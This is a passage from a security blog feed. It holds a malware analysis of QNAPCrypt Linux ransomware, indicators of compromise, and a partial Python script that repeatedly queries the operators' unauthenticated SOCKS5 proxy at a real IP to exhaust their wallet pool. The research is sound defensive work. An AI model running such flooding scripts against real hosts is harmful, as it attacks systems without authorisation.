&lt;div&gt;&lt;pre&gt;&lt;code&gt;185.158.115[.]44
185.158.115[.]154
clsass.ddns[.]net
kotl[.]space&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>How We Seized 15 Active Ransomware Campaigns Targeting Linux File Storage Servers</title><link>https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/</link><pubDate>Wed, 10 Jul 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;It is rare to see ransomware being used to target the Linux operating system.
However, cyber criminals seem to adapt to this emerging environment and use a
variety of creative methods to gain profits from this landscape.&lt;/p&gt;
&lt;p&gt;We at Intezer have detected and temporarily DoS’d the operation of a ransomware
targeting Linux-based file storage systems (NAS servers).&lt;/p&gt;
&lt;p&gt;We have named the ransomware QNAPCrypt, as this is the name the authors have
appeared to label the malware. QNAP is a well-known vendor for selling NAS
servers, which the malware was intended to infect and encrypt the containing
files for ransom. NAS servers normally store large amounts of important data
and files, which make them a valuable target for attackers and especially a
viable target for ransomware campaigns.&lt;/p&gt;
&lt;p&gt;This malware currently has very low detection rates in all major security
solutions.&lt;/p&gt;
&lt;p&gt;The first two sections of this blog post will explain in brief how QNAPCrypt
operates and how we were able to take advantage of two design flaws in the
ransomware infrastructure in order to temporarily stop the campaign—preventing
the malware from infecting additional victims and forcing the authors behind
this malware to deploy new instances. Lastly, we will present a detailed
technical analysis of the malware and the investigation of the entire campaign.&lt;/p&gt;
&lt;p&gt;For reference, here is the genetic analysis of the QNAPCrypt malware:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/3d7ebe73319a3435293838296fbb86c2e920fd0ccc9169285cc2c4d7fa3f120d"target="_blank" rel="noopener"&gt;ARM variant&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/076a6fa4e051c061e19b9e3e37da9c63a9bc7c1a99111ac13b32eb2f70b7fa5c"target="_blank" rel="noopener"&gt;x86 variant&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig1.png" title="QNAPCrypt malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;QNAPCrypt malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;How the Ransomware Works&lt;span class="hx:absolute hx:-mt-20" id="how-the-ransomware-works"&gt;&lt;/span&gt;
&lt;a href="#how-the-ransomware-works" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The QNAPCrypt ransomware works similarly to other ransomware, including
encrypting all files and delivering a ransom note. However, there are several
important differences:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The ransom note was included solely as a text file, without any message on
the screen—naturally, because it is a server and not an endpoint.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Every victim is provided with a different, unique Bitcoin wallet—this could
help the attackers avoid being traced.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once a victim is compromised, the malware requests a wallet address and a
public RSA key from the command and control server (C&amp;amp;C) before file
encryption.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How We Seized the Campaign&lt;span class="hx:absolute hx:-mt-20" id="how-we-seized-the-campaign"&gt;&lt;/span&gt;
&lt;a href="#how-we-seized-the-campaign" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig2.jpg" title="QNAPCrypt ransomware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;QNAPCrypt ransomware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In order to further research the malware and its operation, we wrote a script
to simulate infections on a wide scale to see how the wallet generation
mechanism worked in the attackers’ back end.&lt;/p&gt;
&lt;p&gt;After simulating the infections of hundreds of virtual “victims”, we discovered
two major design flaws in the ransomware infrastructure which led us to seize
the operation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;The list of bitcoin wallets was created in advance and it was static.
Therefore, it does not create a new wallet for each new victim in real time,
but rather it pulls a wallet address from a fixed, predetermined list.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once all of the wallets are allocated (or sent), the ransomware would not be
able to continue its malicious operation in the victim’s machine.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After simulating the infection of more than 1,091 victims from 15 different
campaigns, we encountered that the attackers ran out of unique Bitcoin wallets
to supply to their victims. As a result, any future infection will be
unsuccessful and the authors behind this malware were forced to update their
implants in order to circumvent this design flaw in their infrastructure to
continue with their malicious operations.&lt;/p&gt;
&lt;p&gt;After several days of continuously DoS&amp;rsquo;ing their infrastructure, we have
observed a newer variant in the wild that
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/076a6fa4e051c061e19b9e3e37da9c63a9bc7c1a99111ac13b32eb2f70b7fa5c"target="_blank" rel="noopener"&gt;shares a significant amount of code&lt;/a&gt;
with previous QNAPCrypt instances and Linux.Rex. This time, the newer variant
uses an embedded static wallet and RSA public key in contrast to previous
instances.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The initial implant we found came in the form of a statically linked Golang
binary built with the Go linker for ARM architecture. Throughout our research,
we were able to confirm that other variants exist for additional architectures
such as x86 / x64.&lt;/p&gt;
&lt;p&gt;Go binaries may seem difficult to analyze when they come stripped, since trying
to make sense of stripped statically linked binaries is usually a more
difficult task than analyzing stripped dynamically linked binaries.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We can observe that this binary is indeed a Go executable by looking at the
section names in its section header table.&lt;/p&gt;
&lt;p&gt;If we know the location of these sections, in particular the .gopclntab
section, we will be able to reconstruct symbol names and offsets. This
methodology is illustrated in the following diagram:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;For further insights into populating function names in Go binaries we highly
recommend to view Tim Strazzere’s presentation and &lt;a href="https://github.com/strazzere/golang_loader_assist"target="_blank" rel="noopener"&gt;scripts in GitHub&lt;/a&gt; which
document this technique.&lt;/p&gt;
&lt;p&gt;After retrieving Go function names, analyzing the binary becomes much less
complex since we can highlight the relevant functions of the application. Let’s
not forget that the binary is 4MB in size.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After several cryptography algorithm initializations and parsing of arguments
for directory whitelisting and alike functionalities, the malware will send a
GET request to the CNC as a means to communicate that a new victim has been
compromised and that system locking is taking place:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After sending this GET request, the malware will attempt to retrieve victim
keys configuration using a client for the SOCKS proxy protocol version 5.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig7.png" title="SOCKS proxy protocol version 5" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;SOCKS proxy protocol version 5&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This proxy will request to connect to an onion domain name. The following
represents the relevant packets for this connection:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After successful connection through the proxy to the onion domain, an
additional GET request to the ransomware REST API is completed in order to
retrieve the RSA public key that will be used to encrypt the file system—a
unique Bitcoin wallet and the ransom note specific to the victim. All of these
artifacts seem to be retrieved based on a specific campaign ID.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The response from the server is the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After victim configuration has been retrieved, the malware will proceed to
remove itself and then it will parse the retrieved RSA public key.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig11.png" title="RSA public key" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;RSA public key&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This RSA public key will be used to encrypt a random sequence of bytes that
would be used to encrypt the file system later on. This encrypted key will be
base64 encoded and it will be written at the end of the ransom note file called
README_FOR_DECRYPT.txt. We also noted that the ransomware distributes a
different Bitcoin wallet per each compromised system:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After this file is created, the malware will proceed to execute the locking
mechanism by walking the file system encrypting files using AES CFB with the
derived encrypted key, avoiding to encrypt the ransom note just created:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware will target files with the following extensions:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After encryption, the malware will rename the affected files so that they will
be prefixed with &lt;code&gt;.encrypt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig15.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In order for system decryption to take place the base64 encoded random sequence
encrypted with the RSA public key will be needed to be sent to the ransomware
operator via the onion domain site after paying the demanded ransom:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After system locking has taken place, the ransomware will communicate that it
has finished with the victim once again to the CNC:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Looking Outside of the Binary&lt;span class="hx:absolute hx:-mt-20" id="looking-outside-of-the-binary"&gt;&lt;/span&gt;
&lt;a href="#looking-outside-of-the-binary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;One of our intended goals that we wanted to achieve when analyzing QNAPCrypt
was to assess the scale of victims the ransomware was dealing with.&lt;/p&gt;
&lt;p&gt;We were able to find a
&lt;a href="https://www.reddit.com/r/linux/comments/bucepu/linux_ransomware/"target="_blank" rel="noopener"&gt;Reddit thread&lt;/a&gt;
in which we contacted some of the affected victims:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;While talking to some of the victims related to the various campaigns of this
malware, we were able to identify the initial attack vector as SSH brute force
attacks and that they were targeting mainly NAS server providers, which
corresponds to how the attacker has chosen to label this malware:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After making these findings we studied their infrastructure to determine if
there was anything we could do to interact with this threat actor’s operations.&lt;/p&gt;
&lt;p&gt;While researching the ARM instance of the malware, we observed that there was a
request through their REST API in order to retrieve new victim configuration
keys as previously discussed. The following diagram is a high level overview of
the ransomware operation:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The connection to the SOCKS5 proxy is completed without any authentication
enforced, and anyone would have the capability to connect to it.&lt;/p&gt;
&lt;p&gt;Therefore, we decided to interact with the ransomware infrastructure in order
to retrieve configuration keys and potentially temporarily shut down the
operation of the ransomware to prevent infection of future victims that were
compromised by instances of the ransomware that followed the previous design
architecture:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This idea simply abuses the fact that no authentication is enforced to connect
to the SOCKS5 proxy as previously mentioned. Since the authors behind this
ransomware were delivering one Bitcoin wallet per victim from a static pool of
already generated wallets, we could replicate the infection packets to retrieve
all of the wallets until they had no further wallets under their control.
Therefore, when a genuine infection would occur, the ransom client would not be
able to retrieve configuration artifacts.&lt;/p&gt;
&lt;p&gt;We wrote the following script in order to implement the methodology described
above:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hexdump&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;192.99.206.61&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;65000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BTC_WALLETS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x05x01x00&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x05x01x00x03x16&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sg3dwqfpnr4sl5hh.onionx00&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x50&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;GET /api/GetAvailKeysByCampId/&lt;/span&gt;&lt;span class="si"&gt;%.2d&lt;/span&gt;&lt;span class="s1"&gt; HTTP/1.1x0dx0a&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Host: sg3dwqfpnr4sl5hh.onionx0dx0a&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent: http/2x0dx0a&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Accept-Encoding: gzipx0ax0dx0a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Campaign id &lt;/span&gt;&lt;span class="si"&gt;%.2d&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BtcPublicKey&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BtcPublicKey&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;BTC_WALLETS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
